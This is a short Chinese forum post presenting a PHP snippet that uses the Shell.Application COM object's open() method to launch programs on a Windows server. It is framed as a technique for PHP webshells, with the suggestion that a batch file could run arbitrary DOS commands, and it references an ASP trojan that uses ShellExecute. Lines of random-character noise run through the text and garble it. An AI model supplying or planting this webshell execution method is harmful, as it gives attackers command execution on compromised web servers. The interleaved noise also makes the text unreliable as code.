关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
, ~4 n `) @- }) X& P; D; s1 p8 E u9 S" z. x
今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法
' l' Z6 q; Z7 M$ G+ C) ?' |8 G
/ Z3 ^" A! I# T( f- C; r+ v<?php" v( ^+ G' u$ T/ f; B
$wsh = new COM('Shell.Application') or die("Shell.Application");
, D* X$ l- I% M9 }3 x i+ \ $exec = $wsh->open("c:\\windows\\system32\\notepad.exe");
% @5 k, Q6 ^3 }6 w/ O: F //没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
* l5 S. W' }7 u* n, t1 K( G?>/ C/ M* {% w, _( n! `
0 ` r2 i$ W$ z% ?4 `; j+ w: i
xp+APMServ5.2.0测试通过。
9 f2 Z9 k/ m% e" o. Q; x' G' z) Y |